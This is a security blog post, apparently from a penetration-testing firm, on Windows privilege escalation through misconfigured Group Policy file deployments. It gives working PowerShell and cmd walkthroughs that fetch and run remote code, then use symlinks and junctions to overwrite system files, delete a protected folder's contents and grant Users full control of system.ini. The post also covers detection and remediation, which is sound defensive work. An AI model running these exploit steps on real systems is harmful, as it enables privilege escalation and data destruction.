{"id":18822,"date":"2022-10-20T09:55:06","date_gmt":"2022-10-20T07:55:06","guid":{"rendered":"https:\/\/herolab.usd.de\/?p=18822"},"modified":"2022-10-20T09:55:37","modified_gmt":"2022-10-20T07:55:37","slug":"news-deploying-files-via-group-policies-or-how-group-policy-updates-can-ruin-your-day","status":"publish","type":"post","link":"https:\/\/herolab.usd.de\/en\/news-deploying-files-via-group-policies-or-how-group-policy-updates-can-ruin-your-day\/","title":{"rendered":"Deploying Files via Group Policies or How Group Policy Updates Can Ruin Your Day"},"content":{"rendered":"\n

During a workstation assessment in the beginning of 2021, we identified a trivial privilege escalation vulnerability occurring during Group Policy Updates<\/em>. The vulnerability itself was not exploitable by default but relied on a misconfiguration. However, this kind of misconfiguration seemed likely to occur in other environments too, so we informed Microsoft about the issue. They did not consider it security relevant.<\/p>\n\n\n\n

From this point on, the first thing we did when getting access to an Active Directory<\/em> in an assessment was checking for this kind of misconfiguration. It was as expected: We identified similar issues in 90% of the analyzed environments, although not all of them led to privilege escalation.<\/p>\n\n\n\n

With this blog post, we want to increase awareness for this issue and hopefully help other security analysts and system administrators to identify and fix it.<\/p>\n\n\n\n

Performing File Operations via Group Policy Updates<\/h3>\n\n\n\n

Windows Group Policies<\/em> are used to control and define the working environment of users and computers within Active Directory<\/em>. They provide a great amount of control and allow to centrally manage Windows settings across an organization. From an offensive perspective, Group Policies<\/em> have been mostly discussed in the context of access permissions (as for example in this excellent article<\/a> by Andy Robbins<\/a>) or when extracting credentials
out of Group Policy Preference<\/em> files (as outlined in this blog post<\/a> by Bill Harshbarger). However, Group Policies<\/em> can contain many other interesting configuration settings and perform operations that are interesting from an offensive perspective. Among these are file operations.<\/p>\n\n\n\n

Group Policies<\/em> can be used to deploy files, folders and access permissions across domain joined computers. This may sound uncommon, but from our experience it is used by many organizations to deploy globally used scripts and templates, to create folders that require a specific set of permissions or to remove legacy components that
may still be available on some workstations. File system operations can be configured using the Group Policy Management Editor<\/em>:<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

The example above demonstrates how a template file can be deployed to all computers within a domain, but why is this dangerous? Well, there are several examples available where file system operations during Group Policy Updates<\/em> have been abused for privilege escalation (e.g. this one<\/a> from CyberArk<\/a> or this one<\/a> from Andrea Pierini<\/a>).
The underlying principle of these attacks is basically the same: A file system symbolic link is used to redirect file
operations from the high privileged GPSVC<\/em> service to different locations within the file system.<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

How difficult it is to identify this kind of vulnerabilities depends on your goal. When you are only interested in exploitation opportunities from your current user account, creating a HTML<\/em> report using gpresult \/R report.html<\/code> is usually sufficient. A configuration like the one demonstrated above can be found in Settings -> Preferences -> Windows Settings -> Files<\/code> within this report:<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

If your intent is to find this kind of vulnerabilities globally within a domain, your best chance is probably to use a sufficiently high privileged user and to use Group Policy Management Editor<\/em> to inspect all file and folder-based GPOs<\/em> manually. If you only have a low privileged user available, you can attempt to find vulnerable policies manually by inspecting the SYSVOL<\/code> share of the domain controller. Enrollment policies for files and folders are usually stored in XML<\/em> files named Files.xml<\/code> and Folders.xml<\/code>:<\/p>\n\n\n\n

PS C:\\> Get-ChildItem -Recurse \\\\DC01\\SYSVOL Files.xml\n\n    Directory: \\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\USER\\Preferences\\Files\n\n\nMode                LastWriteTime         Length Name\n----                -------------         ------ ----\n-a----        8\/30\/2022  12:11 PM            464 Files.xml\n\n\nPS C:\\> type \"\\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\USER\\Preferences\\Files\\Files.xml\"\n<?xml version=\"1.0\" ?>\n<Files clsid=\"{215B2E53-57CE-475c-80FE-9EEC14635851}\">\n    <File clsid=\"{50BE44C8-567A-4ed1-B1D0-9234FE1F38AF}\" name=\"Template.docx\" status=\"Template.docx\" image=\"1\" changed=\"2022-08-30 10:11:52\" uid=\"{C11D27EA-661B-48FB-862B-5A2F595E50CD}\">\n        <Properties action=\"R\" fromPath=\"\\\\SRV02\\Documents\\Template.docx\" targetPath=\"%AppData%\\OfficeTemplates\\Template.docx\" readOnly=\"0\" archive=\"1\" hidden=\"0\" suppress=\"0\"\/>\n    <\/File>\n<\/Files><\/pre>\n\n\n\n
Another nice trick to identify potentially vulnerable files and folders is looking for unexpected file ownership. Files within your %AppData%<\/code> folder owned by Administrators<\/em> or NT Authority\\SYSTEM<\/em> were obviously created with high privileges. Tools like PowerEnum<\/a> can be used to quickly identify such files:<\/p>\n\n\n\n
PS C:\\> IEX(New-Object Net.WebClient).downloadString(\"https:\/\/raw.githubusercontent.com\/qtc-de\/PowerEnum\/main\/PowerEnum.ps1\")\nPS C:\\> Get-ChildItem C:\\Users\\tdancer\\AppData -Recurse -Force -File | Get-AccessiblePath -ExcludeOwner tdancer | fl\n...\nAccessiblePath    : C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates\\Template.docx\nOwner             : NT AUTHORITY\\SYSTEM\nIdentityReference : USDLAB\\tdancer\nPermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}<\/pre>\n\n\n\n
Attack Vectors<\/h3>\n\n\n\n
Depending on the type of file operation that is performed, different attacks are possible. For this blog post, we have summarized the three most common vulnerability types we have encountered.<\/p>\n\n\n\n
Overwriting Arbitrary Files<\/strong><\/p>\n\n\n\n
The ability to overwrite arbitrary files on a workstation is by far the most common vulnerability we identified.
Group Policies that deploy files to user writable locations in C:\\ProgramData<\/code> or %AppData%<\/code> are often used by
organizations and redirecting these file operations to different locations is usually possible. As an example,
assume we found the following Group Policy definition within an HTML<\/em> report created with gpresult<\/code>:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
This GPO<\/em> is dangerous, as the target can be written to by the user:<\/p>\n\n\n\n
PS C:\\Users\\tdancer\\AppData\\Roaming> icacls .\\OfficeTemplates\n.\\OfficeTemplates NT AUTHORITY\\SYSTEM:(OI)(CI)(F)\n                  BUILTIN\\Administrators:(OI)(CI)(F)\n                  USDLAB\\tdancer:(OI)(CI)(F)<\/pre>\n\n\n\n
We can now use SharpLink<\/a> to create a symbolic link at the targeted file location and redirect the operation to a different location:<\/p>\n\n\n\n
PS C:\\> $code = (iwr https:\/\/raw.githubusercontent.com\/usdAG\/SharpLink\/main\/SharpLink.cs -UseBasicParsing).content\nPS C:\\> Add-Type $code\nPS C:\\> del C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates\\Template.docx\nPS C:\\> $s = New-Object de.usd.SharpLink.Symlink(\"C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates\\Template.docx\", \"C:\\Windows\\win.ini\")\nPS C:\\> $s.Open()\n[+] Creating Junction: C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates -> \\RPC CONTROL\n[+] Creating DosDevice: Global\\GLOBALROOT\\RPC CONTROL\\Template.docx -> \\??\\C:\\Windows\\win.ini\n[+] Symlink setup successfully.\nPS C:\\> dir C:\\Windows\\win.ini\n\n    Directory: C:\\Windows\n\n\nMode                LastWriteTime         Length Name\n----                -------------         ------ ----\n-a----        9\/15\/2018   9:31 AM             92 win.ini\n\nPS C:\\> gpupdate \/force\nUpdating policy...\n\nComputer Policy update has completed successfully.\nUser Policy update has completed successfully.\n\nPS C:\\> dir C:\\Windows\\win.ini\n\n\n    Directory: C:\\Windows\n\n\nMode                LastWriteTime         Length Name\n----                -------------         ------ ----\n-a----        2\/28\/2017   5:41 PM       10762150 win.ini<\/pre>\n\n\n\n
Obviously, since the written content is not user controlled, such a vulnerability can usually only be used for denial-of-service attacks. However, as outlined in this blog post<\/a> by Andrea Pierini<\/a>, the source location of file operations is sometimes writable. This allows turning an uncontrolled file write into a fully controlled file write, resulting in a reliable privilege escalation.<\/p>\n\n\n\n
Deleting Arbitrary Files<\/strong><\/p>\n\n\n\n
Being able to delete arbitrary files is almost as common as the overwriting scenario described above. Consider an organization realizes that a certain resource is no longer required but was already deployed to all workstations. Group Policies<\/em> can be used to easily clean this up. We have encountered rules like the one in the following example during many engagements:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Exploitation in this case is even easier than for the file overwrite. Instead of working with symbolic links, we can just create a Junction<\/em> using the builtin mklink<\/code> utility. Wiping data from a protected folder? No problem!<\/p>\n\n\n\n
C:\\ProgramData\\USOShared\\Logs>dir\n Volume in drive C has no label.\n Volume Serial Number is DC98-0A9A\n\n Directory of C:\\ProgramData\\USOShared\\Logs\n\n30\/08\/2022  10:01    <DIR>          .\n30\/08\/2022  10:01    <DIR>          ..\n11\/12\/2019  09:16             8.192 NotificationUx.001.etl\n10\/12\/2019  13:54             8.192 NotificationUx.002.etl\n10\/12\/2019  13:33             8.192 NotificationUx.003.etl\n10\/12\/2019  09:00             8.192 NotificationUx.004.etl\n<SNIP>\n\nC:\\ProgramData\\USOShared\\Logs>icacls NotificationUx.001.etl\nNotificationUx.001.etl NT AUTHORITY\\SYSTEM:(I)(F)\n                       BUILTIN\\Administrators:(I)(F)\n                       usdlab\\Julia:(I)(F)\n                       BUILTIN\\Users:(I)(RX)\n\nC:\\ProgramData\\USOShared\\Logs>del NotificationUx.001.etl\nC:\\ProgramData\\USOShared\\Logs\\NotificationUx.001.etl\nAccess is denied.\n\nC:\\ProgramData\\USOShared\\Logs>mklink \/J C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates C:\\ProgramData\\USOShared\\Logs\nJunction created for C:\\Users\\tdancer\\AppData\\Roaming\\OfficeTemplates <<===>> C:\\ProgramData\\USOShared\\Logs\n\nC:\\ProgramData\\USOShared\\Logs>gpupdate \/force\nUpdating policy...\n\nComputer Policy update has completed successfully.\nUser Policy update has completed successfully.\n\nC:\\ProgramData\\USOShared\\Logs>dir\n Volume in drive C has no label.\n Volume Serial Number is DC98-0A9A\n\n Directory of C:\\ProgramData\\USOShared\\Logs\n\n30\/08\/2022  10:51    <DIR>          .\n30\/08\/2022  10:51    <DIR>          ..\n               0 File(s)              0 bytes\n               2 Dir(s)     238.686.208 bytes free<\/pre>\n\n\n\n
While file deletion vulnerabilities can obviously be used for denial-of-service attacks, in many cases they can also be exploited for privilege escalation. One example can be found in this article<\/a> by Jonas L<\/a>, but on typical workstations with many third-party software components, the whole C:\\ProgramData<\/code> folder is an interesting target in general. Several products run high privileged processes or services that rely on files within C:\\ProgramData<\/code>. Many of them do not change the inherited directory permissions and only configure restrictive permissions for files contained in those directories. This allows low privileged users write access to those directories. Being able to delete files and to replace them with other content often results in privilege escalation.<\/p>\n\n\n\n
Permission Modification on Arbitrary Files<\/strong><\/p>\n\n\n\n
Permission modifications have usually been the most dangerous Group Policy<\/em> configurations. Luckily, we have not encountered them often. Configuring them needs to be done in the Computer Configuration<\/em> section of the Group Policy Management Editor<\/em>:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
One example for this situation was an organization, that used central Log folder C:\\Internal\\Logs<\/code> for storing all log output generated by internally used tools. Since this log folder was also supposed to work for shared workspaces, modify permissions were assigned via Group Policies<\/em> and the corresponding rule looked roughly like this:<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
Unfortunately, the folder C:\\Internal<\/code> was under the control of low privileged user accounts. Therefore, by removing the C:\\Internal\\Logs<\/code> folder and replacing it with Junction or symbolic link, the permission assignment could be redirected to arbitrary resources:<\/p>\n\n\n\n
PS C:\\internal> $code = (iwr https:\/\/raw.githubusercontent.com\/usdAG\/SharpLink\/main\/SharpLink.cs -UseBasicParsing).content\nPS C:\\internal> Add-Type $code\nPS C:\\internal> rmdir .\\logs\\ -Force\nPS C:\\internal> $s = New-Object de.usd.SharpLink.Symlink(\"C:\\internal\\logs\", \"C:\\Windows\\system.ini\")\nPS C:\\internal> $s.Open()\n[+] Creating Junction: C:\\internal -> \\RPC CONTROL\n[+] Creating DosDevice: Global\\GLOBALROOT\\RPC CONTROL\\logs -> \\??\\C:\\Windows\\system.ini\n[+] Symlink setup successfully.\nPS C:\\internal> icacls C:\\Windows\\system.ini\nC:\\Windows\\system.ini NT AUTHORITY\\SYSTEM:(I)(F)\n                      BUILTIN\\Administrators:(I)(F)\n                      BUILTIN\\Users:(I)(RX)\n                      APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(I)(RX)\n                      APPLICATION PACKAGE AUTHORITY\\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)\n\nSuccessfully processed 1 files; Failed processing 0 files\nPS C:\\internal> gpupdate \/force\nUpdating policy...\n\nComputer Policy update has completed successfully.\nUser Policy update has completed successfully.\n\nPS C:\\internal> icacls C:\\Windows\\system.ini\nC:\\Windows\\system.ini APPLICATION PACKAGE AUTHORITY\\ALL APPLICATION PACKAGES:(RX)\n                      NT AUTHORITY\\SYSTEM:(F)\n                      BUILTIN\\Administrators:(F)\n                      BUILTIN\\Users:(F)\n\nSuccessfully processed 1 files; Failed processing 0 files<\/pre>\n\n\n\n
Turning this vulnerability in a privilege escalation can be done in several ways, e.g. by overwriting service binaries or DLL hijacking.<\/p>\n\n\n\n
Identifying a misconfiguration as the one described above can be tricky. If you have a sufficiently high privileged user account, the computer policies are usually displayed within a report when running gpresult<\/code> (you can also use the \/SCOPE:Computer<\/code> option to request them explicitly). When using a low privileged user, you may not be allowed to view computer policies using gpresult<\/code>. However, you can still find corresponding policies within the
SYSVOL<\/code> share of the domain controller:<\/p>\n\n\n\n
PS C:\\> Get-ChildItem -Recurse \\\\DC01\\SYSVOL | Select-String \"File Security\" -List | Select Path\n\nPath\n----\n\\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\n\n\nPS C:\\> type \"\\\\DC01\\SYSVOL\\usdlab.test\\Policies\\{31B2F340-016D-11D2-945F-00C04FB984F9}\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf\"\n[Unicode]\nUnicode=yes\n[System Access]\nMinimumPasswordAge = 1\nMaximumPasswordAge = 90\nMinimumPasswordLength = 8\nPasswordComplexity = 1\nPasswordHistorySize = 24\nLockoutBadCount = 0\nRequireLogonToChangePassword = 0\nForceLogoffWhenHourExpire = 0\nClearTextPassword = 0\nLSAAnonymousNameLookup = 0\n[Kerberos Policy]\nMaxTicketAge = 10\nMaxRenewAge = 7\nMaxServiceAge = 600\nMaxClockSkew = 5\nTicketValidateClient = 1\n[Version]\nsignature=\"$CHICAGO$\"\nRevision=1\n[Privilege Rights]\nSeMachineAccountPrivilege = *S-1-5-21-561523361-3746362414-1812353783-512\n[Registry Values]\nMACHINE\\System\\CurrentControlSet\\Control\\Lsa\\NoLMHash=4,1\n[File Security]\n\"%SystemDrive%\\internal\\logs\",0,\"D:PAR(A;OICI;0x1200a9;;;S-1-15-2-1)(A;OICIIO;FA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;FA;;;BU)\"<\/pre>\n\n\n\n
Conclusion and Recommendation<\/h3>\n\n\n\n
Performing file operations via *Group Policies* is a powerful mechanism for deploying and managing files and resources required by multiple computers across the domain. But with power comes responsibility. When using such policies, administrators should be aware that file operations targeting user-controlled parts of the file system can be redirected to different locations. Therefore, it is recommended to avoid such policies and only to use them when the targeted location is known to be secure. Organizations should check their existing *Group Policy* configuration for possible misconfigurations.<\/p>\n\n\n\n